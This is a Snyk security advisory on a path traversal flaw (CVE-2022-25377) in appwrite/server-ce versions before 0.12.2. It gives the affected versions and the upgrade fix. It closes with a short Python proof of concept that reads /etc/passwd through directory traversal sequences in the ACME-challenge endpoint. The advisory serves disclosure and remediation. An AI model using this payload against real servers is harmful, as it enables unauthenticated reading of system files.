Path Traversal Affecting appwrite/server-ce package, versions >=0.5.0, <0.12.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PHP-APPWRITESERVERCE-6276958
- published26 Feb 2024
- disclosed23 Feb 2024
- credit@dubs3c
Introduced: 23 Feb 2024
CVE-2022-25377 (opens in a new tab)How to fix?
Upgrade appwrite/server-ce to version 0.12.2 or higher.
Overview
appwrite/server-ce is an End to end backend server for frontend and mobile apps.
Affected versions of this package are vulnerable to Path Traversal due to the ACME-challenge endpoint. An attacker can read arbitrary local files by utilizing directory traversal sequences.
Notes:
This is only exploitable if
APP_STORAGE_CERTIFICATES/.well-known/acme-challengeexists on disk, which occurs automatically if the user opts to install Let's Encrypt certificates via the application.If
phpis running as root as it is in provided docker environment, the LFI allows for reading any file on the system.
PoC
import urllib.request
### Appwrite Unauthenticated LFI
# Vulnerable versions: 0.5.0 <= 0.12.1
# Date: 2021-12-08
# Author: @dubs3c
# dubell.io
#
# $APP_STORAGE_CERTIFICATES/.well-known/acme-challenge must exist on target's disk
try:
r = urllib.request.urlopen('http://localhost:8080/.well-known/acme-challenge/../../../../../../../../etc/passwd')
print(r.read().decode())
except urllib.error.HTTPError as e:
print(f"[-] Status code {e.status}. Exploit not possible...")